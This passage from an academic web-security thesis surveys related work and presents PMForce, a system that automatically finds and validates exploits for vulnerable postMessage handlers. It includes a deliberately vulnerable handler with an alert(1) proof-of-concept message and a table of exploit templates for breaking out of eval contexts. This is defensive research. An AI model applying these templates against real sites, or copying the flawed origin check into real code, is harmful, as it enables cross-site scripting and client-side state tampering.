analyzing 106 Web applications and finding forgeable requests in 87 of them. While this
work uses a static approach and considers the URL as attacker-controllable, in Chapter 5
we present a dynamic analysis capable of finding client-side CSRF vulnerabilities
stemming from polluted prototypes.

3.2 Dynamic Program Analysis Techniques

In Chapter 4 and Chapter 5, we apply concepts such as forced and concolic execution to
the problem space of finding vulnerabilities in client-side Web applications. Naturally, we
are not the first to apply such dynamic program analysis techniques to the Web domain,
as they have been shown to lead to successful outcomes in various other domains.

Related work showed the applicability of these techniques to LLVM IR that is
interpreted symbolically, as is the case for KLEE [16], or work that directly used
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binaries as with S2E [22] and Mayhem [20]. A recent work of Poeplau et al. [101]
showed promising results in increasing the performance of symbolic engines by compiling
instrumentation code into the binary rather than running the code on a symbolic
interpreter.

Moving to the Web domain, the usage of such techniques to find vulnerabilities
already started in 2010, when Saxena et al. [107] presented their symbolic execution
engine, patched into WebKit, allowing them to find injection vulnerabilities in websites
automatically. In 2014, Li et al. [69] presented a symbolic engine that allows us to
analyze Web pages by exploring registered event handlers, guided by a taint engine, and
allowed for symbolic handling of DOM interactions.

Besides applications that aim at uncovering security issues, similar techniques were
used to analyze potentially malicious JavsScript code. Kolbitsch et al. [57], utilized
symbolic execution for malware detection and reduced the overall needed number of
execution runs by introducing a concept called Multi Execution. This mechanism allows
their execution to cover multiple symbolic paths within a single execution run. On a
similar note, Hu et al. [47] used forced execution to investigate whether a provided piece
of JavaScript code was malicious. In 2017, Kim et al. [54] unveiled the necessity to
handle missing DOM elements in such analyses, as malicious behavior could be missed,
e.g., due to crashes induced by such missing elements. Their engine allows to analyze
bigger portions of the program’s behavior, leading to an overall more precise analysis.

Unfortunately, all of the symbolic/force execution engines presented until now heavily
rely on browser modifications. With the rapid changes of browser code, any such analysis
quickly becomes obsolete as code is refactored and new features hit mainstream browsers
while others get deprecated over time. To mitigate such issues, symbolic/force execution
engines that rely on code instrumentation such as the one from Loring et al. [74] seem to
be promising as changes to the JavaScript language appear to be less frequent compared
to changes in browser engines.

The applicability of such techniques to the Web domain also heavily relies on our
ability to express path constraints exhibited by the website to be solvable in a constraint
solving language. Plenty of research enabled us to gain meaningful insights into a
considerable fraction of the behavior of Web applications [146, 107, 121, 74]. Yet, as
we discuss in more depth in Chapter 8, we see evidence that current capabilities still
fall short in some regards due to several hardships that directly stem from the Web
ecosystem and JavaScript in particular [73].

3.3 Security Mechanisms for the Web

The Content Security Policy was intended to provide developers with means to tackle
the omnipresent threat of XSS and was first proposed by Stamm et al. [114] in 2010.
Since then, it has been the subject of many studies over the years. In 2013, Doupé et al.
[30] presented an automated tool that separates code and data in ASP.net applications,
allowing for easier deployments of the Content Security Policy. On a similar note,
Calzavara et al. [19] proposed changes to the Content Security Policy to allow third-
parties to contribute to the process of assembling a Content Security Policy via elaborate
policy composition strategies.
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Yet, Weissbacher et al. [140] conducted a longitudinal analysis of CSP deployment,
showing virtually no adoption. While follow-up studies from Weichselbaum et al.
[138] and Calzavara et al. [18] indicated an increase in CSP deployment, they both
independently showed the vast majority of policies are insecure. Most recently, Roth
et al. [105] analyzed the historical evolution of CSPs for 10,000 sites, documenting how
site operators struggle to secure their CSPs and often either give up entirely; or fall back
to trivially bypassable policies. While attempts have been made to ease the deployment
of CSP through automatic generation [96], this has also not caused a significant uptick.
Yet, research did not delve any further than measuring the (insecure) adoption of this
mechanism. To gain insights into the potential roadblocks that developers face when
trying to deploy the Content Security Policy, we analyze how third-party behavior
impacts the first party’s ability to have non-trivially bypassable policies in Chapter 7.

Besides analyses of already deployed security mechanisms, our community also
proposed several defense mechanisms that could alleviate some of the issues discussed
throughout this thesis.

In 2012, Lekies et al. [65] applied simple heuristics to survey the use of local storage,
concluding that there are cases in which HTML or JavaScript code is stored in local
storage. To mitigate the associated risks, the authors propose a JavaScript-based
solution that wraps local storage functionality and checks the integrity of items before
they are returned from the storage API. Although the authors did not evaluate the
practicability of real-world attacks, the general idea of the defense mechanism applies
to a multitude of the vulnerable use-cases observed in Chapter 6.

In 2015, Zheng et al. [145] analyzed the general risks associated with the lack of
integrity of cookie data. Their threat model also covers a network and Web Attacker,
which allows them to find instances of session hijacking, history stealing, and even XSS
flaws. From their discussion of these flaws, however, it remains unclear whether these
were caused by insecure server- or client-side code.

In 2018, Van Acker et al. [125] evaluated the concept of Origin Policies, assisting
developers in enforcing baseline security policies within an origin. They provide a formal
framework to combine origin policies and present a prototype pipeline that showcases
the feasibility and security improvements of such an approach. In a recent work of
ours [S1], we were able to show that inconsistent use of security-relevant mechanisms is
prevalent throughout a given eTLD+1. To mitigate such inconsistent deployments, we
propose Site Policy in a work that is not part of this thesis, which is an extension to
the Origin Policy proposal. It allows developers to configure a baseline security policy
for their complete site. Once such a site-wide security policy is set up by the developer,
we show that we can automatically reason about possible inconsistent deployments of
security mechanisms, providing developers with support in ridding their application
from security issues introduced via cross-origin inconsistencies. Similar to our analysis
on intra-site inconsistencies, Mendoza et al. [78] investigated differences between desktop
and mobile versions of Web applications, showing grave inconsistencies between deployed
security headers, giving attackers an increased attack surface.

Another approach to tackle client-side XSS is extending the taint tracking approach
from Lekies et al. [67] to the parser level. In doing so, Stock et al. [116] were able
to prevent tainted values from being interpreted as code, thus stopping all previously
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verified cases of reflected client-side XSS. Yet such an approach would not work to
protect against the threat of persistent client-side XSS, as discussed in Chapter 6.
We encountered benign use-cases in which developers want to cache their code in the
client-side storage mechanism. Thus we could not treat those values as tainted without
breaking functionality. The same holds for vulnerable postMessage handlers as discussed
in Chapter 4. However, we could use the same techniques to prevent against prototype
gadgets, which we discuss in Chapter 5. Here, we find that no benign use-case mandates
any flow from a value defined on a prototype to a dangerous sink, allowing us to prevent
such flows altogether using a similar approach.

3.4 Script Inclusion Practices & Third-Party Measurements

The security impact of third parties has been the subject of research since at least
2012. Back then, Nikiforakis et al. [90] measured the script inclusion behavior of the
Top 10,000 websites showing that first-party inclusion decisions can vastly impact the
security of the including site. While this study examines the included resources based
on their origin, work from Yue et al. [144] also investigated the structural properties
of dynamically added code. Kumar et al. [63] started to focus more on the structure
of such script inclusions and introduced the concept of implicit trust. They show that
a quarter of the top 1 million sites are blocked from deploying HTTPS due to their
inclusions. The risks of including outdated libraries were analyzed by Lauinger et al.
[64], showing that 37% of the top 75,000 sites include at least one library containing a
vulnerability. The dangers associated with malicious links contained in such inclusion
chains were highlighted by Arshad et al. [2]. To tackle this problem, they proposed
an in browser-solution detecting malicious links, thus, protecting end-users. In 2019,
Ikram et al. [49] investigated how often malicious inclusions happen over implicit trust
relations in the Alexa top 200,000. Based on their longitudinal analysis, they find that
95% of included parties carry over to the next day. Musch et al. [S2] highlighted the
threat of third-party caused XSS vulnerabilities and provided a client-side library that
automatically mitigates all third-party caused vulnerabilities.

Our work, as detailed in Chapter 7 is similar to the study of Kumar et al. [63], as
they analyze how third-party behavior impacts the site’s ability to fully deploy HTTPS.
Yet, we analyze how the third parties impact the site’s ability to mitigate XSS and
unwanted inclusions via the Content Security Policy.

Virtually all of the related works on script inclusion practices consider the eTLD+1
as the boundary between first- and third-party code. Unfortunately, we are able to show
that modern Web applications frequently invalidate such assumptions due to the logical
separation of hostnames that are operated by the same entity.

Recently, Urban et al. [123] showed the importance of considering page behavior
beyond the front page, which we apply to our measurements where feasible.
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4.1. DETECTING VULNERABLE POSTMESSAGE HANDLERS

In this chapter, we show that a steep increase in the amount of postMessage
handlers found in the wild necessitates automated means of assessing the security of
such handler functionality. PostMessage handlers have been shown to be a prime suspect
of introducing XSS, and state alteration vulnerabilities in client-side Web applications
[112]. Yet, prior efforts were limited to manual analysis of such functionalities, leaving
us in the dark about how this threat has evolved since it was initially studied in 2013.

Thus, we present the first automated platform capable of finding postMessage
vulnerabilities in the wild and update prior knowledge in this domain while showcasing
an abundance of vulnerabilities even in top sites.

To do so, we first discuss how we employ forced execution and dynamic taint
propagation to extract security-relevant program traces. We explain how we augment
such traces with what we call Exploit Templates, allowing us to build proof of concept
postMessages that we can validate to induce malicious behavior. With this system in
place, we then report on our study of the prevalence of postMessage based vulnerabilities
in the 100,000 most popular sites.

4.1 Detecting Vulnerable postMessage Handlers

In this section, we discuss our approach leveraging the concepts of forced execution and
dynamic taint propagation to automatically extract security and privacy-related traces
given a postMessage handler function as input. Furthermore, we explain how we leverage
an SMT solver to automatically generate valid postMessages from these traces that
trigger the observed functionality. Figure 4.1 depicts a vulnerable PM handler that serves
as a running example throughout this section alongside an exploit that causes an alert
to show. An attacker controlling a domain such as example.com.attacker.com
can send a JavaScript object which has the fn property set to their payload via a
postMessage to the frame that has this handler registered to execute the payload in the
vulnerable origin (see line 16).

1 // running at example.com
2 (function(){
3 function isAllowedOrigin(origin){
4 return /example\.com/.test(event.origin);
5 }
6
7 function handler(event){
8 if(!isAllowdOrigin(event.origin))
9 return;

10 if(event.data && event.data.mode == 'eval')
11 eval(event.data.fn.split(',')[1])
12 }
13 window.addEventListener('message', handler);
14 })();
15 // running at example.com.attacker.com with vuln pointing to example.com
16 vuln.postMessage({mode: 'eval', fn:',alert(1)'}, '*')

Figure 4.1: Vulnerable postMessage Handler
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example.com

https://example.com
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Figure 4.2: Overview of PMForce

4.1.1 Overview

PMForce consists of three distinct modules, as depicted in Figure 4.2, that are automat-
ically injected into every frame that we visit using the Chrome Dev Tools protocol [38].
We use the puppeteer Node.js framework [23] to steer our instances of Chromium. All
the modules, except for the constraint solving routine, are implemented in JavaScript,
which allows us to perform most of the necessary operation within the browser itself.
As there exists no stable port of Z3 [79] for JavaScript, we implemented our constraint
solving mechanism in python using Z3Py, which is exposed to the other modules via
bindings through the Dev Tools protocol, thus accessible through the window object.

In the first step, we use forced execution and taint tracking to find potential flows from
the postMessage object into sensitive sinks such as document.write, localStorage,
and other postMessages. Furthermore, we track flows that stem from all client-side
storage mechanisms to check for leakage of privacy-sensitive information.

In the second step, we use these traces to construct JS objects that, when sent
as a postMessage, trigger the sensitive functionality and thus lead to code execution,
manipulation of client-side state, or leak information about the client-side storages of
the page. To that end, we introduce the concept of Exploit Templates and utilize those
together with the path constraints found in the traces to generate exploit candidates
using Z3 as an SMT solver.

As the last step, we validate that these candidate exploits indeed achieve our intended
behavior by calling the unmodified handler code with our candidate exploit as input
and checking whether the intended action (such as code execution) was successfully
triggered.
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1 // functionCode is the string representation of the function to force execute
2 let stage = new Iroh.Stage(functionCode);
3 let IFListener = stage.addListener(Iroh.IF);
4 IFListener.on("test", (e) => {
5 // shouldForceExecute returns true if this Basic Block should be forcefully

executed in this program run↪→
6 e.value = shouldForceExecute(e.hash);
7 });
8 // isNotStale returns true for as long as we can find new code while forcefully

executing the program↪→
9 while(isNotStale()){

10 eval(stage.script)
11 }

Figure 4.3: Using Iroh to Forcefully Execute a Basic Block

4.1.2 Forced Execution

We leverage the concept of forced execution, in which the control flow of a program is
forcefully altered to explore as much code of the program as possible. While other works
are making use of symbolic execution for JavaScript [107, 74], we only want to make
use of the expensive step of constraint solving when we have found an interesting trace
through the program. There exist various paths throughout one particular handler,
which are not interesting from our point-of-view, which means that we also do not need
to generate valid inputs that allow us to reach these points in the program.

To achieve this goal, we utilize the dynamic instrumentation framework Iroh [75]
and extend its capabilities where necessary. Doing so allows us, among other things,
to register callbacks that are triggered whenever conditionals are evaluated. More
specifically, we can also change the results of any of the operations. Figure 4.3 represents
a minimal code snippet that showcases how we can change the outcome of the conditional
used within an If statement and thus can choose to either execute the consequence or
the alternative. Similarly, we change the values of switch-case constructs to execute
particular cases selectively. As a final control-flow altering step, we change the outcome
of any expression that is lazily evaluated, i.e., if an OR is lazily evaluated, we change the
value of the first expression to false and if an AND is lazily executed we change the value
to true. This allows us to forcefully capture the full path constraints, which we need
to solve later. In our concrete example of Figure 4.1 this means that we collect both
the constraint that event.data must evaluate to true and that event.data.mode
must be equal to the string eval as checked in line 10.

4.1.2.1 Selective Forced Execution

While the initially registered postMessage handlers serve as an entry point into the
code portion handling incoming messages, such handler code frequently calls into other
pieces of the code, e.g., functions accessible in the scope of the handler to perform origin
checks or further process the message. Thus, whenever we forcefully execute a call to a
function that is not a native browser function, we instrument this code on the fly and
execute our instrumented version instead. Since our instrumentation step relies on Iroh’s
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changes to the source code of the handler functions, the transformation loses all handles
to variables defined in the scope where the initial function was defined. In our example,
this means that once we have instrumented the initial handler function, any reference
to isAllowedOrigin is lost, as this was only locally scoped inside the closure. To
solve this issue, we execute our complete pipeline in the strict mode of JavaScript, such
that non-existing variables lead to exceptions. We can then handle these exceptions
by fetching the appropriate values, be it basic types, objects, or functions, from the
appropriate scope, using the Debugger and Runtime domain of the Chrome DevTools
Protocol [38]. Importantly, the return value of any of our instrumented functions might
be dependent on further constraints on the event that is passed to the handler function.
Considering our example in Figure 4.1, we only return true if the origin matches a
particular regex. However, there is only an implicit data flow from event.origin to
the return value of the function. To solve this issue, we emit all path constraints of the
called function once we return and append those to the path constraints of the calling
function.

4.1.2.2 Side Effects

Naturally, forced execution of every possible path of the handler function incurs side
effects to the page, e.g., change the DOM, add cookies, or change global variables.
However, most of these side effects do not affect our further analysis, e.g., even if
we change global values, they cannot prevent us from executing specific paths of the
program as we are forcing path constraints anyway. Solely side effects that destroy the
current execution context or remove elements from the DOM hinder our analysis. The
most prominent example of such destructive behavior is a PM handler that is used for
authentication, i.e., on a successful authentication, it sets a cookie and reloads the page.
Reloading the page terminates all ongoing JavaScript executions and thus interrupts
our analysis. To prevent this, we implement a navigation lock on the currently visited
page and abort every navigational request using the Chrome DevTools Protocol [38].
Since our crawlers do not click on any elements, all navigational requests after the initial
document load are byproducts of our forced execution and can thus be aborted without
changing otherwise benign functionality of the document. As for removing elements from
the DOM, we could find handlers that remove certain elements that could be abused if
they are still present, e.g., a document.write on the document of a same-origin frame. If
this element was removed during our force execution, any subsequent validation attempt
would fail. Therefore, while forcefully executing the handler, we substitute such function
calls with no operations.

4.1.3 Taint Analysis

While the forced execution allows us to reach interesting parts of the handler functionality,
we still need to discuss how we can leverage it to find traces that are relevant to the
security or privacy of the site. To achieve this goal, while we are forcefully executing
different paths throughout the handler, we supply the handler function with a JavaScript
Proxy object as input. Such proxy objects allow intercepting accesses to properties on
the object. We utilize these traps to persistently capture all operations that the code
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performs on the proxied object. Together with the dynamic execution engine Iroh and
these traps, this builds a lightweight taint-engine which does not rely on modifications
of the browser as, e.g., the taint engines of Lekies et al. [67], Melicher et al. [77], and
Saxena et al. [108], and can selectively be applied to parts of the code. In the following,
we discuss how different types of accesses on our Proxy objects need to be handled to
ensure that we do not lose taint information and that we capture all necessary operations
to allow for the automated generation of attack payloads.

4.1.3.1 Base Types

The basic case deals with accessed values that are basic types; these might be strings or
further JavaScript objects. Every proxy object maintains two internal structures, the
first one being an identifier, which coming back to our example might be event.data
or event.data.mode, and the operations that were executed on this specific ele-
ment. This means that if we access a property, say mode on a proxy that represents
event.data. We can create a new proxy that represents event.data.mode and
remember all operations that were executed on the parent element inside the new object.

Naturally, since we start with no knowledge about the expected format of received
postMessages for any handler, whenever we encounter properties that are not defined
on a proxied object, we initialize those with empty objects. Additionally, we try to infer
types of proxied properties based on the further usage throughout the program, e.g.,
if a string function is accessed on a proxied object, we correct our assignment from
an empty object to a string and remember this typing information for later use when
solving path constraints.

4.1.3.2 Functions

When accessing native functions on objects, we need to ascertain that we remove our
proxy layer on the arguments before calling the function, as the native functions only
work on the underlying wrapped values. After the function call returns, we re-proxy the
returned value and note that this native function was called on the proxied object in
the internal data structure of the proxied object. When a function is called on a specific
object, we not only need to remove the proxy layer for the arguments but also for the
underlying object. In particular, it might be the case that both the object on which
the function is called and an argument are proxied values. Any non-native function is
instrumented on-the-fly and thus can handle our proxy objects as input.

4.1.3.3 Symbols

Symbols are a way to define, e.g., custom iterators on objects [81]. When the program
logic iterates over our proxies, they are accessed with the Iterator Symbol as a property.
We leverage such accesses, to infer further type information and return an iterator that
consecutively outputs further proxied objects that represent accesses to the different
indices on the underlying object. While we can leverage this pattern to accommodate
any of the currently specified symbols, we could only find that the iterator symbol was
of use for our investigated handlers.
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{
"ops": [

{
"type": "ops_on_parent_element",
"old_ops": [],
"old_identifier": "event"

},
{
"args": [
0,
8

],
"type": "member_function",
"function_name": "substring"

},
{
"op": "===",
"val": "https://",
"side": "left",
"type": "Binary"

}
],
"identifier": "event.origin"

}

Figure 4.4: Example Output of Taint Analysis

4.1.3.4 Implicit Type Conversions

Similarly to Symbols, the native functions toString and valueOf need further
considerations. These functions are commonly used to convert objects to the same
type, which frequently happens when one of our proxied objects is part of a Binary
Expression. Thus, we always return the underlying object when these functions are
called and within our callbacks of Iroh discern whether the initial program issued this
call; thus we need to add it to the operations of the proxy, or whether we caused it and
it can, therefore, be omitted.

4.1.3.5 Tainted Expressions

Provided with the means to handle all operations on such proxy objects, we still need
to capture all those expressions in which proxy objects are used, e.g., an equality check
to the string eval as is the case in our running example in Figure 4.1. For this, we
resort to Iroh’s callbacks, allowing us to hook, e.g., Unary and Binary Expression. We
apply the corresponding operation to the underlying objects and return the updated
proxy as result of the operation. We can then check whether we find any of our proxied
objects as part of the conditionals of a control flow statement. Figure 4.4 shows a
sample constraint extracted from a conditional, in which the handler function asserts
that the origin is an HTTPS origin.
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4.1.4 Solving Constraints

Our taint analysis allows us to precisely capture all accesses to the event object, thus,
whenever we encounter a proxied object as part of a control flow-altering statement, we
can add this object to the list of path constraints that would hypothetically need to be
fulfilled for this execution path to execute without being forced. Once we encounter an
access to a sink, e.g., document.write to find XSS, we generate a report containing
all the collected path constraints (including negated constraints if we forced specific
branches to be false) and the respective object that ended up in the sink and pass this
information to our exploit generation engine.

The next step of PMForce consists of transforming our representation of function
calls and expressions into Z3 clauses, these can then be attempted to solve and if
successful provide us with assignments to our collected identifiers that execute the
intended functionality. Even though JavaScript is a weakly typed language and is
renowned for having various language quirks, we found that functionality used within
real-world postMessage handlers can be reasonably well represented as Z3 clauses. In
particular, a prime example of such hardships is that JavaScript allows for comparisons
between arbitrary types. Fortunately, in handler functions, such implicit conversions
are rarely part of the program logic.

We use our types inferred at runtime to instantiate Z3 variables with fixed types. For
variables for which no type hints were recorded at runtime, we defer to treating them
as strings. Further, we coerce types on the fly if we observe that two Z3 expressions
appear to mismatch, e.g., when we guess that a variable is a string while it is actually
compared against an integer, which can be done in JavaScript but lacks an implicit
representation in Z3.

In the following, we discuss further considerations that allow us to represent common
behavior using Z3 clauses.

4.1.4.1 Automated Conversion to Boolean

In JavaScript, basically any value can be coerced to a boolean value on the fly. This
pattern is regularly used to check for the existence of properties on objects, as is done
in Figure 4.1 line 12. In Z3, however, clauses need to be real boolean values as there
does not exist any implicit conversion (even though there exist explicit conversions such
as str.to.int). To allow for the JavaScript shorthand to be representable in Z3,
we introduce constraints on basic types that mimic the behavior of JavaScript. As an
example, the empty string in JavaScript is treated as false, while a non-empty string is
always treated as true. With these modifications to the clauses, we can emulate the
behavior of the JavaScript engine for conditionals. While this automated conversion
works for most use cases where the values are used inside conditionals, it does not
work when the resulting value is further processed. Line 2 in Figure 4.5 highlights the
pattern that a value is assigned to the first object that evaluates to true, a common
practice to allow for cross-browser compatibility. Since this value used inside a Binary
expression in line 3, coercing it to a boolean value does not work. Since we assume by
default that an OR expression produces a boolean, we perform the coercion directly
and only later notice that these values are not used as booleans, e.g., when accessing
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further properties. However, once we use such a value outside of a conditional, we
can correct this erroneous coercion. To that end, we introduce a helper variable that
must be equal to either of the values and use this helper variable as a substitute for
our wrongly coerced value. Coming back to the example, we then compare this helper
variable against https://foo.com and correctly enforce that either event.origin
or event.originalEvent.origin must match it.

4.1.4.2 Regular Expressions

Even though Z3 supports the use of regular expressions, we need to transform JavaScript
regular expressions into Z3 clauses automatically. We leverage an open-source regex
parser[13] and transform the abstract representation into Z3 clauses. Additionally, we
emulate the common behavior of JavaScript functions that use regular expressions in
which the matched string can have arbitrary prefixes and suffixes as long as the regular
expression does not force this explicitly using ˆ and $ respectively.

4.1.4.3 String Functions

While Z3 supports various string operations due to work by Zheng et al. [146], func-
tionality exhibited by postMessage handlers quickly exceeds the capabilities that Z3
offers natively. Therefore, we emulate the behavior of commonly used functionality,
such as split or search. We use our collected handlers to find the functionality
used in the wild. Since our underlying string solving logic does not incorporate all
string functions that the JavaScript engine supports, we need to model some of the
function calls with the underlying building blocks of the logic. As an example, the
search function in JavaScript takes as input a regular expression and checks whether
the given string contains a substring matching the regular expression and returns the
index of the matching string. To emulate this behavior we introduce a helper variable,
asserting that this variable is part of the language spanned by the regular expression,
using our regex conversions and Z3’s ReIn, and then return the index of said helper
string in the original string using Z3’s indexOf operation on strings. While we were
able to accommodate most of the behavior found in these handlers, some of the used
functionality lacks an explicit representation in Z3. One of the prime examples of
behavior that cannot be supported by the current logic of strings is replacement with
regular expressions. Although Z3 supports functionality which checks whether or not
a string is part of a regular language, and supports string replace on strings, there is
no generic way to express string replace with regular expressions with these building
blocks. While these are clear limitations of our instantiation of PMForce, which stem
from choosing a specific SMT solver, the underlying logics could accommodate such
behavior[121].

4.1.4.4 Non-existent Properties

We found that handler functions regularly check for the presence of objects which
are not normally part of an incoming postMessage. Line 2 in Figure 4.5 shows such
an example from the wild, where the originalEvent property is accessed, which
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1 function handler(event){
2 let origin = event.originalEvent.origin || event.origin;
3 if(origin === 'https://foo.com')
4 // ...
5 }

Figure 4.5: Example of non-existing Property Usage and lazy-evaluation

is not standardized but rather added by libraries such as jQuery. However, some of
the handlers are no longer registered via frameworks but rather directly added by
using the addEventListener function; thus, the accessed property is merely an
artifact of continuously evolving code. Naturally, properties other than event.origin
and event.data cannot be abused by an attacker. Since our forced execution
collects all constraints, i.e., also those that are part of lazy execution chains that
would normally not be relevant, we end up with path constraints that incorporate
clauses with identifiers that are not attacker-controllable. More specifically in the
aforementioned example we would generate the constraint that either event.origin
or event.originalEvent.origin must pass the origin check. For every property
on the event object that cannot be influenced by the attacker, we thus emit additional
constraints asserting them to be equal to the empty string. Doing so enforces that these
properties coerce to false once used inside conditionals on their own. In our example
this means that we force the SMT solver to disregard the non-tamperable property and
thus find a valid assignment in the event.origin property.

4.2 Automatically Validating postMessage Security Issues

In this section, we discuss our exploit generation techniques. To that end, we first
discuss how we use assignments from Z3 to reconstruct JavaScript objects, followed by
our encoding of exploits as Z3 clauses. We then present how we automatically validate
that the generated assignments exploit the handler functions to confirm the discovered
vulnerabilities.

4.2.1 Translating Z3 Assignments to JavaScript

Since we use the access patterns as identifier for the Z3 string representation of our
constraints, upon solving these constraints, we need to transform the mapping of
identifiers to values back to the object that can be called with the handler functionality.
For this, we recursively build up the object based on the access path of the identifier.
Doing so might unveil imprecisions of our type inference/conversion from JavaScript
to Z3. If we come back to our initial example of Figure 4.1, we have the constraint
that event.data must evaluate to a true value and that event.data.mode must
be set to a specific string. Since we represent event.data as a string value, due to
the lack of other options, our assignments incorporate a non-empty string assignment of
event.data. We add the assigned string of the parent element as another property of
the object. This allows us to correctly handle those cases where the assigned strings are
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necessary, e.g., a check on whether event.data.toString() contains a particular
substring.

Similar to our taint analysis, which helps us to infer types of our identifiers, there
exist cases in which additional typing information is part of our assignments. More
concretely, we might have captured in our taint-analysis that JSON.parse was used on
event.data prior to accessing further properties on the loaded object. In these cases,
we emit further constraints that force the assignment of a variable representing the type
of event.data to be JSON. When we encounter such further typing information once
reassembling the assignments into a JavaScript object, we adjust the generated object
to accommodate for this typing information, e.g., encode the subpart of the data object
as JSON.

4.2.2 Exploit Templates

Until now, we have presented the complete pipeline, which allows us to collect and
generate path constraints of security- and privacy-relevant program traces. This allows
us to generate assignments that trigger said functionality but do not necessarily exploit
them from an attacker’s point of view.

To tackle this issue, we also collect the precise information of the operations applied
to the proxy object that was used in the sink context and encode our payload as further
constraints on the underlying object. For this step, we introduce what we call Exploit
Templates, which is an abstraction on the context in which a specific exploit might
trigger. For instance, the most basic Exploit Template could enforce that a string flowing
into eval contains a payload, e.g., alert(1). The constraint solver will then, along
with other constraints that stem from the page, find an assignment that fulfills both the
constraints of the handler as well as contains our payload. Such a basic template will
most likely generate assignments that will not execute our payload, e.g., by generating
syntactically incorrect JavaScript code that will then flow into eval. However, this
simple example showcases a trade-off that our real templates need to balance; they
must be as generic as possible to allow for as many constraints of the page as possible
while ascertaining malicious behavior once successfully solved. The basic template is
the most generic one there is, as we only ascertain that our payload is contained in the
assignment, but, it fails to ensure exploitability.

Adding further constraints to the path constraints, however, means that chances
that the exploit generation terminates in a reasonable amount of time diminishes. To
allow for the analysis to finish without timeouts, we apply each template in a separate
query to the SMT solver and refrain from using constraints that are difficult to solve,
i.e., regular expressions, in the Exploit Templates. We restrict operations induced by
the Exploit Templates to startsWith and endsWith constraints of fix strings and
only enforce that origins must start with either http:// or https:// as there is no
way to express a valid origin using these restrictions. This allows us to solve most of
the path constraints found in the wild augmented with our Exploit Templates in less
than 30 seconds. We defer the discussion of timed-out attempts to Section 8.2.1.

Other approaches on finding client-side XSS [67, 77] generate exploits in a manner
that is only sensitive to the syntactic structure of the data passed to the sink, but not
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regular expression sample code context
T1 /^alert\(1\)\/\*(.*)\*\/$/ if(event.data.indexOf('foobar') !== -1){

eval(event.data)
}

T2 /^\(alert\(1\)\/\*(.*)\*\/\)$/ if(event.data.indexOf('foobar') !== -1){
eval('('+event.data+')')

}

T3 /^\/\*(.*)\*\/alert\(1\)$/ if(event.data.indexOf('foobar') !== -1){
eval(event.data)

}

T4 /\.toString\(\),alert\(1\)$/ eval('globalLib.' + event.data.fun)

T5 /=1,alert\(1\)$/ eval('foo=' + value)

T6 /\(function\(\){alert\(1\)}\)\(\);\/\/(.*)/ let fun = eval('function(){' + value + '}')

Table 4.1: Exploit Templates used

to the constraints needed to even reach the sink. As we observe in practice, though,
path constraints regularly impose restrictions on the generated payload, leaving current
techniques inapt. In the following, we discuss the considerations that lay the foundation
of our different types of Exploit Templates, i.e., templates for XSS and those for
client-side state manipulation.

4.2.2.1 XSS Templates

The overall goal of our XSS Templates is to impose restrictions on the object that
ends up in a sink such that an attacker can execute arbitrary code in the page while
allowing as many degrees of freedom as possible concerning the exact circumstances. In
general, we distinguish two cases depending on whether the sink that is accessed is an
HTML executing sink (e.g., innerHTML) or a JavaScript sink (e.g., eval). Since HTML
parsers are lenient in the way that they parse HTML and allow for various errors (e.g.,
auto-closing elements if end tags are not found, or parsing of broken tags) the former
case can be solved relatively easy by resorting to so-called XSS polyglots [33]. These are
payloads intended to break out of as many contexts as possible, before adding pieces
of HTML code that then execute the XSS payload. In these cases, our very simple
constraint that only enforces that the payload is contained in the string that ended up
in the sink suffices. Contrarily for JS, parsers strictly check the syntax and incorrectly
breaking out of the current context would violate the syntax. Therefore, we apply
various Exploit Templates to capture as many contexts as possible. A common check
enforced by sites is that the string that is used inside eval must contain a site-specific
substring. A generic template that would capture such a context would essentially
ascertain that the string starts with our payload, followed by a JavaScript comment.
This template allows the constraint solver to add any arbitrary string at the end, and
the comment asserts that anything appended does not tamper with the exploitability.

Table 4.1 presents the Exploit Templates that we consider for JavaScript sinks. We
extracted those templates from manual inspection of various postMessage handlers and
for each of the templates we provide an example code context that shows how the
encountered handlers incorrectly used the values received via postMessages. Note that
the templates are represented as regular expression for brevity, yet, our implementation
treats them as startsWith and endsWith constraints for performance reasons.
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4.2.2.2 State Manipulation Templates

The second goal of our attack scenario consists of the manipulation of the client-side
state in the victim’s browser. While there exist cases in which an attacker might be able
to control keys or values of these stores partially, we specifically target those cases in
which an attacker can arbitrarily control the values as these trivially lead to an infection
vector for persistent client-side XSS, which we discuss in more detail in Chapter 6, or
can allow an attacker to circumvent defense mechanisms, e.g., when the site uses Double
Submit cookies to protect against CSRF [94]. To achieve arbitrary control, we enforce
in our Exploit Templates for state injections that the attacker can fully control both
keys and values of localStorage or cookies.

4.2.3 Automated Validation

With the generated candidate exploit assignments and our automatic transformation to
JavaScript objects, we can now use these objects to call the un-instrumented handler
functions directly. While directly calling functions with our prepared objects does
not perfectly mimic the behavior of sending postMessages using the API across origin
boundaries, we note that our exploit generation only sets the data and the origin
attributes. We do not make use of properties that cannot be serialized using the
structured clone algorithm [82]. Thus the data part of our constructed message is
guaranteed to work the same whether or not we make use of the postMessage API.
When origin checks are recorded in crawling, we generate origins that fulfill the required
constraints. Note that these are not necessarily valid or existing origins, however,
enforcing the correct structure of origins would incur an extensive regular expression
check that would be difficult to solve using our SMT solver. We assume that whenever
we can find an assignment for an origin even if it is incorrect, that there exists a valid
origin that still passes the constraints on the origins. We verify that this assumption
holds for our investigated handlers when manually analyzing origin checks found in the
wild, as discussed in Section 4.3.2.

To validate the exploitability, we set our payload to either call a logging function
(in case of XSS) or invoke storage access with randomized nonces, such that we can
later check if the random key with random value has been successfully set. Only when
we find evidence that our candidate indeed triggered the intended functionality we
generate a report of a successful exploitation, meaning our analysis does not have any
false positives.

4.2.4 Modeling postMessage Laundering and Leakage

Postmessage laundering and postMessage leakage both capture similar flows, albeit
with slightly different environmental constraints. In the case of PM laundering, the
attacker wants to achieve that a postMessage handler relays (parts of) the message that
the attacker sent to another frame. This is then received by the second frame with the
origin of the relaying frame. Contrary, for PM leakage, the attacker wants to be the
target of a postMessage carrying sensitive information such as localStorage entries or
cookie values.
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total number number of vulnerable handlers with origin check without origin check
Sink of handlers unique handlers number sites number sites number sites

eval 132 57 43 166 18 110 25 56
insertAdjacentHTML 38 4 4 12 1 1 3 11
innerHTML 37 37 16 54 4 35 12 19
document.write 26 4 3 5 2 4 1 1
scriptTextContent 4 4 1 3 0 0 1 3
jQuery .html 3 3 1 1 0 0 1 1

sum code execution 217 105 66 240 24 149 43 91

set cookie 108 101 18 110 2 4 16 106
localStorage 63 60 30 31 7 8 23 23

sum state manipulation 161 150 47 140 9 12 38 128

total sum 377 252 111 379 32 160 80 219

Table 4.2: Overview of discovered handlers using dangerous sinks and prevalence of
